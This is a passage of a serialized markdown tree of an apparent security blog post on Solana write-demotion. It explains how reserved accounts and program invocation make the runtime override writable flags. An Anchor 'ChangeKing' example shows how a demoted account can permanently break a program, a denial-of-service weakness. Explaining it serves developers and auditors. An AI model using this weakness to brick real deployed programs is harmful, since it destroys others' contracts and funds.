LegacyMessage",{"type":23,"tag":134,"props":73904,"children":73905},{"style":179},[73906],{"type":28,"value":22401},{"type":23,"tag":134,"props":73908,"children":73909},{"style":597},[73910],{"type":28,"value":247},{"type":23,"tag":134,"props":73912,"children":73913},{"style":179},[73914],{"type":28,"value":6739},{"type":23,"tag":134,"props":73916,"children":73917},{"class":136,"line":185},[73918,73922,73926,73930,73934,73938,73942,73947,73951,73956,73960,73965,73969,73973,73978,73982,73986,73990,73994,73999],{"type":23,"tag":134,"props":73919,"children":73920},{"style":151},[73921],{"type":28,"value":20321},{"type":23,"tag":134,"props":73923,"children":73924},{"style":151},[73925],{"type":28,"value":13163},{"type":23,"tag":134,"props":73927,"children":73928},{"style":264},[73929],{"type":28,"value":31428},{"type":23,"tag":134,"props":73931,"children":73932},{"style":179},[73933],{"type":28,"value":272},{"type":23,"tag":134,"props":73935,"children":73936},{"style":162},[73937],{"type":28,"value":67546},{"type":23,"tag":134,"props":73939,"children":73940},{"style":168},[73941],{"type":28,"value":1697},{"type":23,"tag":134,"props":73943,"children":73944},{"style":179},[73945],{"type":28,"value":73946}," legacy",{"type":23,"tag":134,"props":73948,"children":73949},{"style":168},[73950],{"type":28,"value":660},{"type":23,"tag":134,"props":73952,"children":73953},{"style":597},[73954],{"type":28,"value":73955},"Message",{"type":23,"tag":134,"props":73957,"children":73958},{"style":179},[73959],{"type":28,"value":242},{"type":23,"tag":134,"props":73961,"children":73962},{"style":162},[73963],{"type":28,"value":73964},"reserved_account_keys",{"type":23,"tag":134,"props":73966,"children":73967},{"style":168},[73968],{"type":28,"value":1697},{"type":23,"tag":134,"props":73970,"children":73971},{"style":168},[73972],{"type":28,"value":6599},{"type":23,"tag":134,"props":73974,"children":73975},{"style":597},[73976],{"type":28,"value":73977},"HashSet",{"type":23,"tag":134,"props":73979,"children":73980},{"style":179},[73981],{"type":28,"value":5262},{"type":23,"tag":134,"props":73983,"children":73984},{"style":597},[73985],{"type":28,"value":20876},{"type":23,"tag":134,"props":73987,"children":73988},{"style":179},[73989],{"type":28,"value":19924},{"type":23,"tag":134,"props":73991,"children":73992},{"style":168},[73993],{"type":28,"value":13225},{"type":23,"tag":134,"props":73995,"children":73996},{"style":151},[73997],{"type":28,"value":73998}," Self",{"type":23,"tag":134,"props":74000,"children":74001},{"style":179},[74002],{"type":28,"value":463},{"type":23,"tag":134,"props":74004,"children":74005},{"class":136,"line":221},[74006,74010,74015,74019],{"type":23,"tag":134,"props":74007,"children":74008},{"style":151},[74009],{"type":28,"value":227},{"type":23,"tag":134,"props":74011,"children":74012},{"style":162},[74013],{"type":28,"value":74014}," is_writable_account_cache",{"type":23,"tag":134,"props":74016,"children":74017},{"style":168},[74018],{"type":28,"value":171},{"type":23,"tag":134,"props":74020,"children":74021},{"style":162},[74022],{"type":28,"value":74023}," message\n",{"type":23,"tag":134,"props":74025,"children":74026},{"class":136,"line":332},[74027,74031],{"type":23,"tag":134,"props":74028,"children":74029},{"style":168},[74030],{"type":28,"value":338},{"type":23,"tag":134,"props":74032,"children":74033},{"style":179},[74034],{"type":28,"value":74035},"account_keys\n",{"type":23,"tag":134,"props":74037,"children":74038},{"class":136,"line":438},[74039,74043,74048],{"type":23,"tag":134,"props":74040,"children":74041},{"style":168},[74042],{"type":28,"value":338},{"type":23,"tag":134,"props":74044,"children":74045},{"style":264},[74046],{"type":28,"value":74047},"iter",{"type":23,"tag":134,"props":74049,"children":74050},{"style":179},[74051],{"type":28,"value":7194},{"type":23,"tag":134,"props":74053,"children":74054},{"class":136,"line":466},[74055,74059,74064],{"type":23,"tag":134,"props":74056,"children":74057},{"style":168},[74058],{"type":28,"value":338},{"type":23,"tag":134,"props":74060,"children":74061},{"style":264},[74062],{"type":28,"value":74063},"enumerate",{"type":23,"tag":134,"props":74065,"children":74066},{"style":179},[74067],{"type":28,"value":7194},{"type":23,"tag":134,"props":74069,"children":74070},{"class":136,"line":479},[74071,74075,74079,74083,74087,74091,74095,74099,74104,74108,74112],{"type":23,"tag":134,"props":74072,"children":74073},{"style":168},[74074],{"type":28,"value":338},{"type":23,"tag":134,"props":74076,"children":74077},{"style":264},[74078],{"type":28,"value":66611},{"type":23,"tag":134,"props":74080,"children":74081},{"style":179},[74082],{"type":28,"value":272},{"type":23,"tag":134,"props":74084,"children":74085},{"style":168},[74086],{"type":28,"value":9881},{"type":23,"tag":134,"props":74088,"children":74089},{"style":179},[74090],{"type":28,"value":272},{"type":23,"tag":134,"props":74092,"children":74093},{"style":162},[74094],{"type":28,"value":929},{"type":23,"tag":134,"props":74096,"children":74097},{"style":179},[74098],{"type":28,"value":242},{"type":23,"tag":134,"props":74100,"children":74101},{"style":162},[74102],{"type":28,"value":74103},"_key",{"type":23,"tag":134,"props":74105,"children":74106},{"style":179},[74107],{"type":28,"value":296},{"type":23,"tag":134,"props":74109,"children":74110},{"style":168},[74111],{"type":28,"value":9881},{"type":23,"tag":134,"props":74113,"children":74114},{"style":179},[74115],{"type":28,"value":463},{"type":23,"tag":134,"props":74117,"children":74118},{"class":136,"line":497},[74119,74124,74128,74133,74137,74141],{"type":23,"tag":134,"props":74120,"children":74121},{"style":162},[74122],{"type":28,"value":74123},"                message",{"type":23,"tag":134,"props":74125,"children":74126},{"style":168},[74127],{"type":28,"value":720},{"type":23,"tag":134,"props":74129,"children":74130},{"style":264},[74131],{"type":28,"value":74132},"is_writable_index",{"type":23,"tag":134,"props":74134,"children":74135},{"style":179},[74136],{"type":28,"value":272},{"type":23,"tag":134,"props":74138,"children":74139},{"style":162},[74140],{"type":28,"value":929},{"type":23,"tag":134,"props":74142,"children":74143},{"style":179},[74144],{"type":28,"value":329},{"type":23,"tag":134,"props":74146,"children":74147},{"class":136,"line":518},[74148,74153,74157,74161,74165,74170,74174,74178,74182,74186,74191,74195],{"type":23,"tag":134,"props":74149,"children":74150},{"style":168},[74151],{"type":28,"value":74152},"                    &&",{"type":23,"tag":134,"props":74154,"children":74155},{"style":168},[74156],{"type":28,"value":12331},{"type":23,"tag":134,"props":74158,"children":74159},{"style":162},[74160],{"type":28,"value":73964},{"type":23,"tag":134,"props":74162,"children":74163},{"style":168},[74164],{"type":28,"value":720},{"type":23,"tag":134,"props":74166,"children":74167},{"style":264},[74168],{"type":28,"value":74169},"contains",{"type":23,"tag":134,"props":74171,"children":74172},{"style":179},[74173],{"type":28,"value":272},{"type":23,"tag":134,"props":74175,"children":74176},{"style":168},[74177],{"type":28,"value":277},{"type":23,"tag":134,"props":74179,"children":74180},{"style":162},[74181],{"type":28,"value":67546},{"type":23,"tag":134,"props":74183,"children":74184},{"style":168},[74185],{"type":28,"value":720},{"type":23,"tag":134,"props":74187,"children":74188},{"style":179},[74189],{"type":28,"value":74190},"account_keys[",{"type":23,"tag":134,"props":74192,"children":74193},{"style":162},[74194],{"type":28,"value":929},{"type":23,"tag":134,"props":74196,"children":74197},{"style":179},[74198],{"type":28,"value":54947},{"type":23,"tag":134,"props":74200,"children":74201},{"class":136,"line":527},[74202,74206,74210,74214,74218,74223,74227,74231],{"type":23,"tag":134,"props":74203,"children":74204},{"style":168},[74205],{"type":28,"value":74152},{"type":23,"tag":134,"props":74207,"children":74208},{"style":168},[74209],{"type":28,"value":12331},{"type":23,"tag":134,"props":74211,"children":74212},{"style":162},[74213],{"type":28,"value":67546},{"type":23,"tag":134,"props":74215,"children":74216},{"style":168},[74217],{"type":28,"value":720},{"type":23,"tag":134,"props":74219,"children":74220},{"style":264},[74221],{"type":28,"value":74222},"demote_program_id",{"type":23,"tag":134,"props":74224,"children":74225},{"style":179},[74226],{"type":28,"value":272},{"type":23,"tag":134,"props":74228,"children":74229},{"style":162},[74230],{"type":28,"value":929},{"type":23,"tag":134,"props":74232,"children":74233},{"style":179},[74234],{"type":28,"value":329},{"type":23,"tag":134,"props":74236,"children":74237},{"class":136,"line":780},[74238],{"type":23,"tag":134,"props":74239,"children":74240},{"style":179},[74241],{"type":28,"value":74242},"            })\n",{"type":23,"tag":134,"props":74244,"children":74245},{"class":136,"line":797},[74246,74250,74255,74259,74263,74267,74271,74275],{"type":23,"tag":134,"props":74247,"children":74248},{"style":168},[74249],{"type":28,"value":338},{"type":23,"tag":134,"props":74251,"children":74252},{"style":264},[74253],{"type":28,"value":74254},"collect",{"type":23,"tag":134,"props":74256,"children":74257},{"style":168},[74258],{"type":28,"value":660},{"type":23,"tag":134,"props":74260,"children":74261},{"style":179},[74262],{"type":28,"value":5262},{"type":23,"tag":134,"props":74264,"children":74265},{"style":597},[74266],{"type":28,"value":16683},{"type":23,"tag":134,"props":74268,"children":74269},{"style":179},[74270],{"type":28,"value":5262},{"type":23,"tag":134,"props":74272,"children":74273},{"style":162},[74274],{"type":28,"value":247},{"type":23,"tag":134,"props":74276,"children":74277},{"style":179},[74278],{"type":28,"value":74279},">>();\n",{"type":23,"tag":134,"props":74281,"children":74282},{"class":136,"line":814},[74283,74288],{"type":23,"tag":134,"props":74284,"children":74285},{"style":151},[74286],{"type":28,"value":74287},"        Self",{"type":23,"tag":134,"props":74289,"children":74290},{"style":179},[74291],{"type":28,"value":463},{"type":23,"tag":134,"props":74293,"children":74294},{"class":136,"line":827},[74295,74300,74304,74309,74313,74318,74322,74326],{"type":23,"tag":134,"props":74296,"children":74297},{"style":162},[74298],{"type":28,"value":74299},"            message",{"type":23,"tag":134,"props":74301,"children":74302},{"style":168},[74303],{"type":28,"value":1697},{"type":23,"tag":134,"props":74305,"children":74306},{"style":597},[74307],{"type":28,"value":74308}," Cow",{"type":23,"tag":134,"props":74310,"children":74311},{"style":168},[74312],{"type":28,"value":660},{"type":23,"tag":134,"props":74314,"children":74315},{"style":264},[74316],{"type":28,"value":74317},"Owned",{"type":23,"tag":134,"props":74319,"children":74320},{"style":179},[74321],{"type":28,"value":272},{"type":23,"tag":134,"props":74323,"children":74324},{"style":162},[74325],{"type":28,"value":67546},{"type":23,"tag":134,"props":74327,"children":74328},{"style":179},[74329],{"type":28,"value":6194},{"type":23,"tag":134,"props":74331,"children":74332},{"class":136,"line":836},[74333,74338],{"type":23,"tag":134,"props":74334,"children":74335},{"style":162},[74336],{"type":28,"value":74337},"            is_writable_account_cache",{"type":23,"tag":134,"props":74339,"children":74340},{"style":179},[74341],{"type":28,"value":687},{"type":23,"tag":134,"props":74343,"children":74344},{"class":136,"line":859},[74345],{"type":23,"tag":134,"props":74346,"children":74347},{"style":179},[74348],{"type":28,"value":524},{"type":23,"tag":134,"props":74350,"children":74351},{"class":136,"line":868},[74352],{"type":23,"tag":134,"props":74353,"children":74354},{"style":179},[74355],{"type":28,"value":533},{"type":23,"tag":134,"props":74357,"children":74358},{"class":136,"line":877},[74359],{"type":23,"tag":134,"props":74360,"children":74361},{"style":179},[74362],{"type":28,"value":1098},{"type":23,"tag":134,"props":74364,"children":74365},{"class":136,"line":946},[74366],{"type":23,"tag":134,"props":74367,"children":74368},{"emptyLinePlaceholder":15},[74369],{"type":28,"value":865},{"type":23,"tag":134,"props":74371,"children":74372},{"class":136,"line":954},[74373],{"type":23,"tag":134,"props":74374,"children":74375},{"style":141},[74376],{"type":28,"value":74377},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":23,"tag":134,"props":74379,"children":74380},{"class":136,"line":984},[74381,74385,74389,74394,74398,74402,74406,74410,74414,74418,74422,74426,74430,74434],{"type":23,"tag":134,"props":74382,"children":74383},{"style":151},[74384],{"type":28,"value":13158},{"type":23,"tag":134,"props":74386,"children":74387},{"style":151},[74388],{"type":28,"value":13163},{"type":23,"tag":134,"props":74390,"children":74391},{"style":264},[74392],{"type":28,"value":74393}," demote_program_id",{"type":23,"tag":134,"props":74395,"children":74396},{"style":179},[74397],{"type":28,"value":272},{"type":23,"tag":134,"props":74399,"children":74400},{"style":168},[74401],{"type":28,"value":277},{"type":23,"tag":134,"props":74403,"children":74404},{"style":151},[74405],{"type":28,"value":13181},{"type":23,"tag":134,"props":74407,"children":74408},{"style":179},[74409],{"type":28,"value":242},{"type":23,"tag":134,"props":74411,"children":74412},{"style":162},[74413],{"type":28,"value":929},{"type":23,"tag":134,"props":74415,"children":74416},{"style":168},[74417],{"type":28,"value":1697},{"type":23,"tag":134,"props":74419,"children":74420},{"style":597},[74421],{"type":28,"value":13199},{"type":23,"tag":134,"props":74423,"children":74424},{"style":179},[74425],{"type":28,"value":252},{"type":23,"tag":134,"props":74427,"children":74428},{"style":168},[74429],{"type":28,"value":13225},{"type":23,"tag":134,"props":74431,"children":74432},{"style":597},[74433],{"type":28,"value":11517},{"type":23,"tag":134,"props":74435,"children":74436},{"style":179},[74437],{"type":28,"value":463},{"type":23,"tag":134,"props":74439,"children":74440},{"class":136,"line":992},[74441,74445,74449,74454,74458,74462,74466,74470,74474,74478,74482,74487],{"type":23,"tag":134,"props":74442,"children":74443},{"style":151},[74444],{"type":28,"value":20264},{"type":23,"tag":134,"props":74446,"children":74447},{"style":168},[74448],{"type":28,"value":720},{"type":23,"tag":134,"props":74450,"children":74451},{"style":264},[74452],{"type":28,"value":74453},"is_key_called_as_program",{"type":23,"tag":134,"props":74455,"children":74456},{"style":179},[74457],{"type":28,"value":272},{"type":23,"tag":134,"props":74459,"children":74460},{"style":162},[74461],{"type":28,"value":929},{"type":23,"tag":134,"props":74463,"children":74464},{"style":179},[74465],{"type":28,"value":252},{"type":23,"tag":134,"props":74467,"children":74468},{"style":168},[74469],{"type":28,"value":72707},{"type":23,"tag":134,"props":74471,"children":74472},{"style":168},[74473],{"type":28,"value":12331},{"type":23,"tag":134,"props":74475,"children":74476},{"style":151},[74477],{"type":28,"value":13181},{"type":23,"tag":134,"props":74479,"children":74480},{"style":168},[74481],{"type":28,"value":720},{"type":23,"tag":134,"props":74483,"children":74484},{"style":264},[74485],{"type":28,"value":74486},"is_upgradeable_loader_present",{"type":23,"tag":134,"props":74488,"children":74489},{"style":179},[74490],{"type":28,"value":7194},{"type":23,"tag":134,"props":74492,"children":74493},{"class":136,"line":1024},[74494],{"type":23,"tag":134,"props":74495,"children":74496},{"style":179},[74497],{"type":28,"value":1098},{"type":23,"tag":24,"props":74499,"children":74500},{},[74501],{"type":28,"value":74502},"As you can see, there are two main causes of write-demotion:",{"type":23,"tag":4890,"props":74504,"children":74505},{},[74506,74518],{"type":23,"tag":4894,"props":74507,"children":74508},{},[74509,74511],{"type":28,"value":74510},"The account appears in the ",{"type":23,"tag":31,"props":74512,"children":74515},{"href":74513,"rel":74514},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[35],[74516],{"type":28,"value":74517},"reserved account list",{"type":23,"tag":4894,"props":74519,"children":74520},{},[74521],{"type":28,"value":74522},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":23,"tag":24,"props":74524,"children":74525},{},[74526],{"type":28,"value":74527},"The second case is generally covered by the executable check implemented previously.",{"type":23,"tag":24,"props":74529,"children":74530},{},[74531],{"type":28,"value":74532},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":23,"tag":18368,"props":74534,"children":74536},{"id":74535},"the-reserved-account-list",[74537],{"type":28,"value":74538},"The Reserved Account List",{"type":23,"tag":24,"props":74540,"children":74541},{},[74542,74544,74549],{"type":28,"value":74543},"The Solana runtime maintains a ",{"type":23,"tag":31,"props":74545,"children":74547},{"href":74513,"rel":74546},[35],[74548],{"type":28,"value":74517},{"type":28,"value":74550},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":23,"tag":24,"props":74552,"children":74553},{},[74554,74556,74563,74565,74570],{"type":28,"value":74555},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":23,"tag":31,"props":74557,"children":74560},{"href":74558,"rel":74559},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[35],[74561],{"type":28,"value":74562},"feature gate is actived",{"type":28,"value":74564},", the runtime will ",{"type":23,"tag":2532,"props":74566,"children":74567},{},[74568],{"type":28,"value":74569},"automatically demote them to read-only",{"type":28,"value":74571},", even if the transaction marked them as writable.",{"type":23,"tag":87,"props":74573,"children":74575},{"className":128,"code":74574,"language":127,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[74576],{"type":23,"tag":92,"props":74577,"children":74578},{"__ignoreMap":7},[74579,74587,74595,74619,74673,74711,74740],{"type":23,"tag":134,"props":74580,"children":74581},{"class":136,"line":137},[74582],{"type":23,"tag":134,"props":74583,"children":74584},{"style":141},[74585],{"type":28,"value":74586},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":23,"tag":134,"props":74588,"children":74589},{"class":136,"line":147},[74590],{"type":23,"tag":134,"props":74591,"children":74592},{"style":141},[74593],{"type":28,"value":74594},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":23,"tag":134,"props":74596,"children":74597},{"class":136,"line":185},[74598,74602,74606,74611,74615],{"type":23,"tag":134,"props":74599,"children":74600},{"style":151},[74601],{"type":28,"value":13181},{"type":23,"tag":134,"props":74603,"children":74604},{"style":168},[74605],{"type":28,"value":720},{"type":23,"tag":134,"props":74607,"children":74608},{"style":179},[74609],{"type":28,"value":74610},"reserved_account_keys ",{"type":23,"tag":134,"props":74612,"children":74613},{"style":168},[74614],{"type":28,"value":257},{"type":23,"tag":134,"props":74616,"children":74617},{"style":179},[74618],{"type":28,"value":463},{"type":23,"tag":134,"props":74620,"children":74621},{"class":136,"line":221},[74622,74626,74630,74635,74639,74644,74648,74652,74656,74660,74664,74668],{"type":23,"tag":134,"props":74623,"children":74624},{"style":151},[74625],{"type":28,"value":154},{"type":23,"tag":134,"props":74627,"children":74628},{"style":151},[74629],{"type":28,"value":159},{"type":23,"tag":134,"props":74631,"children":74632},{"style":162},[74633],{"type":28,"value":74634}," reserved_keys",{"type":23,"tag":134,"props":74636,"children":74637},{"style":168},[74638],{"type":28,"value":171},{"type":23,"tag":134,"props":74640,"children":74641},{"style":597},[74642],{"type":28,"value":74643}," ReservedAccountKeys",{"type":23,"tag":134,"props":74645,"children":74646},{"style":168},[74647],{"type":28,"value":660},{"type":23,"tag":134,"props":74649,"children":74650},{"style":264},[74651],{"type":28,"value":14889},{"type":23,"tag":134,"props":74653,"children":74654},{"style":179},[74655],{"type":28,"value":272},{"type":23,"tag":134,"props":74657,"children":74658},{"style":168},[74659],{"type":28,"value":277},{"type":23,"tag":134,"props":74661,"children":74662},{"style":151},[74663],{"type":28,"value":13181},{"type":23,"tag":134,"props":74665,"children":74666},{"style":168},[74667],{"type":28,"value":720},{"type":23,"tag":134,"props":74669,"children":74670},{"style":179},[74671],{"type":28,"value":74672},"reserved_account_keys);\n",{"type":23,"tag":134,"props":74674,"children":74675},{"class":136,"line":332},[74676,74681,74685,74690,74694,74698,74702,74706],{"type":23,"tag":134,"props":74677,"children":74678},{"style":162},[74679],{"type":28,"value":74680},"    reserved_keys",{"type":23,"tag":134,"props":74682,"children":74683},{"style":168},[74684],{"type":28,"value":720},{"type":23,"tag":134,"props":74686,"children":74687},{"style":264},[74688],{"type":28,"value":74689},"update_active_set",{"type":23,"tag":134,"props":74691,"children":74692},{"style":179},[74693],{"type":28,"value":272},{"type":23,"tag":134,"props":74695,"children":74696},{"style":168},[74697],{"type":28,"value":277},{"type":23,"tag":134,"props":74699,"children":74700},{"style":151},[74701],{"type":28,"value":13181},{"type":23,"tag":134,"props":74703,"children":74704},{"style":168},[74705],{"type":28,"value":720},{"type":23,"tag":134,"props":74707,"children":74708},{"style":179},[74709],{"type":28,"value":74710},"feature_set);\n",{"type":23,"tag":134,"props":74712,"children":74713},{"class":136,"line":438},[74714,74719,74723,74727,74731,74736],{"type":23,"tag":134,"props":74715,"children":74716},{"style":597},[74717],{"type":28,"value":74718},"    Arc",{"type":23,"tag":134,"props":74720,"children":74721},{"style":168},[74722],{"type":28,"value":660},{"type":23,"tag":134,"props":74724,"children":74725},{"style":264},[74726],{"type":28,"value":14591},{"type":23,"tag":134,"props":74728,"children":74729},{"style":179},[74730],{"type":28,"value":272},{"type":23,"tag":134,"props":74732,"children":74733},{"style":162},[74734],{"type":28,"value":74735},"reserved_keys",{"type":23,"tag":134,"props":74737,"children":74738},{"style":179},[74739],{"type":28,"value":329},{"type":23,"tag":134,"props":74741,"children":74742},{"class":136,"line":466},[74743],{"type":23,"tag":134,"props":74744,"children":74745},{"style":179},[74746],{"type":28,"value":16048},{"type":23,"tag":18368,"props":74748,"children":74750},{"id":74749},"consequences-silent-failures-and-bricked-programs",[74751],{"type":28,"value":74752},"Consequences: Silent Failures and Bricked Programs",{"type":23,"tag":24,"props":74754,"children":74755},{},[74756],{"type":28,"value":74757},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":23,"tag":87,"props":74759,"children":74761},{"className":128,"code":74760,"language":127,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n",[74762],{"type":23,"tag":92,"props":74763,"children":74764},{"__ignoreMap":7},[74765,74780,74807,74822,74861,74868,74915,74946,74953,74968,74999,75006,75021,75052],{"type":23,"tag":134,"props":74766,"children":74767},{"class":136,"line":137},[74768,74772,74776],{"type":23,"tag":134,"props":74769,"children":74770},{"style":179},[74771],{"type":28,"value":22316},{"type":23,"tag":134,"props":74773,"children":74774},{"style":597},[74775],{"type":28,"value":22321},{"type":23,"tag":134,"props":74777,"children":74778},{"style":179},[74779],{"type":28,"value":19736},{"type":23,"tag":134,"props":74781,"children":74782},{"class":136,"line":147},[74783,74787,74791,74795,74799,74803],{"type":23,"tag":134,"props":74784,"children":74785},{"style":151},[74786],{"type":28,"value":13158},{"type":23,"tag":134,"props":74788,"children":74789},{"style":151},[74790],{"type":28,"value":20629},{"type":23,"tag":134,"props":74792,"children":74793},{"style":597},[74794],{"type":28,"value":70820},{"type":23,"tag":134,"props":74796,"children":74797},{"style":179},[74798],{"type":28,"value":22401},{"type":23,"tag":134,"props":74800,"children":74801},{"style":597},[74802],{"type":28,"value":22406},{"type":23,"tag":134,"props":74804,"children":74805},{"style":179},[74806],{"type":28,"value":6739},{"type":23,"tag":134,"props":74808,"children":74809},{"class":136,"line":185},[74810,74814,74818],{"type":23,"tag":134,"props":74811,"children":74812},{"style":179},[74813],{"type":28,"value":22608},{"type":23,"tag":134,"props":74815,"children":74816},{"style":151},[74817],{"type":28,"value":914},{"type":23,"tag":134,"props":74819,"children":74820},{"style":179},[74821],{"type":28,"value":19736},{"type":23,"tag":134,"props":74823,"children":74824},{"class":136,"line":221},[74825,74829,74833,74837,74841,74845,74849,74853,74857],{"type":23,"tag":134,"props":74826,"children":74827},{"style":151},[74828],{"type":28,"value":20321},{"type":23,"tag":134,"props":74830,"children":74831},{"style":162},[74832],{"type":28,"value":70859},{"type":23,"tag":134,"props":74834,"children":74835},{"style":168},[74836],{"type":28,"value":1697},{"type":23,"tag":134,"props":74838,"children":74839},{"style":597},[74840],{"type":28,"value":22573},{"type":23,"tag":134,"props":74842,"children":74843},{"style":179},[74844],{"type":28,"value":22401},{"type":23,"tag":134,"props":74846,"children":74847},{"style":597},[74848],{"type":28,"value":22406},{"type":23,"tag":134,"props":74850,"children":74851},{"style":179},[74852],{"type":28,"value":242},{"type":23,"tag":134,"props":74854,"children":74855},{"style":597},[74856],{"type":28,"value":70884},{"type":23,"tag":134,"props":74858,"children":74859},{"style":179},[74860],{"type":28,"value":5595},{"type":23,"tag":134,"props":74862,"children":74863},{"class":136,"line":332},[74864],{"type":23,"tag":134,"props":74865,"children":74866},{"emptyLinePlaceholder":15},[74867],{"type":28,"value":865},{"type":23,"tag":134,"props":74869,"children":74870},{"class":136,"line":438},[74871,74875,74879,74883,74887,74891,74895,74899,74903,74907,74911],{"type":23,"tag":134,"props":74872,"children":74873},{"style":179},[74874],{"type":28,"value":22608},{"type":23,"tag":134,"props":74876,"children":74877},{"style":151},[74878],{"type":28,"value":914},{"type":23,"tag":134,"props":74880,"children":74881},{"style":179},[74882],{"type":28,"value":70919},{"type":23,"tag":134,"props":74884,"children":74885},{"style":168},[74886],{"type":28,"value":257},{"type":23,"tag":134,"props":74888,"children":74889},{"style":179},[74890],{"type":28,"value":70928},{"type":23,"tag":134,"props":74892,"children":74893},{"style":168},[74894],{"type":28,"value":720},{"type":23,"tag":134,"props":74896,"children":74897},{"style":179},[74898],{"type":28,"value":70937},{"type":23,"tag":134,"props":74900,"children":74901},{"style":168},[74902],{"type":28,"value":8035},{"type":23,"tag":134,"props":74904,"children":74905},{"style":179},[74906],{"type":28,"value":70859},{"type":23,"tag":134,"props":74908,"children":74909},{"style":168},[74910],{"type":28,"value":720},{"type":23,"tag":134,"props":74912,"children":74913},{"style":179},[74914],{"type":28,"value":70954},{"type":23,"tag":134,"props":74916,"children":74917},{"class":136,"line":466},[74918,74922,74926,74930,74934,74938,74942],{"type":23,"tag":134,"props":74919,"children":74920},{"style":151},[74921],{"type":28,"value":20321},{"type":23,"tag":134,"props":74923,"children":74924},{"style":162},[74925],{"type":28,"value":70928},{"type":23,"tag":134,"props":74927,"children":74928},{"style":168},[74929],{"type":28,"value":1697},{"type":23,"tag":134,"props":74931,"children":74932},{"style":597},[74933],{"type":28,"value":24889},{"type":23,"tag":134,"props":74935,"children":74936},{"style":179},[74937],{"type":28,"value":22401},{"type":23,"tag":134,"props":74939,"children":74940},{"style":597},[74941],{"type":28,"value":22406},{"type":23,"tag":134,"props":74943,"children":74944},{"style":179},[74945],{"type":28,"value":5595},{"type":23,"tag":134,"props":74947,"children":74948},{"class":136,"line":479},[74949],{"type":23,"tag":134,"props":74950,"children":74951},{"emptyLinePlaceholder":15},[74952],{"type":28,"value":865},{"type":23,"tag":134,"props":74954,"children":74955},{"class":136,"line":497},[74956,74960,74964],{"type":23,"tag":134,"props":74957,"children":74958},{"style":179},[74959],{"type":28,"value":22608},{"type":23,"tag":134,"props":74961,"children":74962},{"style":151},[74963],{"type":28,"value":914},{"type":23,"tag":134,"props":74965,"children":74966},{"style":179},[74967],{"type":28,"value":19736},{"type":23,"tag":134,"props":74969,"children":74970},{"class":136,"line":518},[74971,74975,74979,74983,74987,74991,74995],{"type":23,"tag":134,"props":74972,"children":74973},{"style":151},[74974],{"type":28,"value":20321},{"type":23,"tag":134,"props":74976,"children":74977},{"style":162},[74978],{"type":28,"value":71027},{"type":23,"tag":134,"props":74980,"children":74981},{"style":168},[74982],{"type":28,"value":1697},{"type":23,"tag":134,"props":74984,"children":74985},{"style":597},[74986],{"type":28,"value":24889},{"type":23,"tag":134,"props":74988,"children":74989},{"style":179},[74990],{"type":28,"value":22401},{"type":23,"tag":134,"props":74992,"children":74993},{"style":597},[74994],{"type":28,"value":22406},{"type":23,"tag":134,"props":74996,"children":74997},{"style":179},[74998],{"type":28,"value":5595},{"type":23,"tag":134,"props":75000,"children":75001},{"class":136,"line":527},[75002],{"type":23,"tag":134,"props":75003,"children":75004},{"emptyLinePlaceholder":15},[75005],{"type":28,"value":865},{"type":23,"tag":134,"props":75007,"children":75008},{"class":136,"line":780},[75009,75013,75017],{"type":23,"tag":134,"props":75010,"children":75011},{"style":179},[75012],{"type":28,"value":22608},{"type":23,"tag":134,"props":75014,"children":75015},{"style":151},[75016],{"type":28,"value":914},{"type":23,"tag":134,"props":75018,"children":75019},{"style":179},[75020],{"type":28,"value":19736},{"type":23,"tag":134,"props":75022,"children":75023},{"class":136,"line":797},[75024,75028,75032,75036,75040,75044,75048],{"type":23,"tag":134,"props":75025,"children":75026},{"style":151},[75027],{"type":28,"value":20321},{"type":23,"tag":134,"props":75029,"children":75030},{"style":162},[75031],{"type":28,"value":41741},{"type":23,"tag":134,"props":75033,"children":75034},{"style":168},[75035],{"type":28,"value":1697},{"type":23,"tag":134,"props":75037,"children":75038},{"style":597},[75039],{"type":28,"value":22637},{"type":23,"tag":134,"props":75041,"children":75042},{"style":179},[75043],{"type":28,"value":22401},{"type":23,"tag":134,"props":75045,"children":75046},{"style":597},[75047],{"type":28,"value":22406},{"type":23,"tag":134,"props":75049,"children":75050},{"style":179},[75051],{"type":28,"value":5595},{"type":23,"tag":134,"props":75053,"children":75054},{"class":136,"line":814},[75055],{"type":23,"tag":134,"props":75056,"children":75057},{"style":179},[75058],{"type":28,"value":1098},{"type":23,"tag":24,"props":75060,"children":75061},{},[75062,75064,75070,75072,75078],{"type":28,"value":75063},"This works fine — until one day, ",{"type":23,"tag":92,"props":75065,"children":75067},{"className":75066},[],[75068],{"type":28,"value":75069},"old_king",{"type":28,"value":75071}," is silently demoted. Suddenly, the ",{"type":23,"tag":92,"props":75073,"children":75075},{"className":75074},[],[75076],{"type":28,"value":75077},"#[account(mut)]",{"type":28,"value":75079}," constraint fails, and your program is bricked. Even though you're passing a writable account in the transaction, the runtime has made a unilateral decision to override 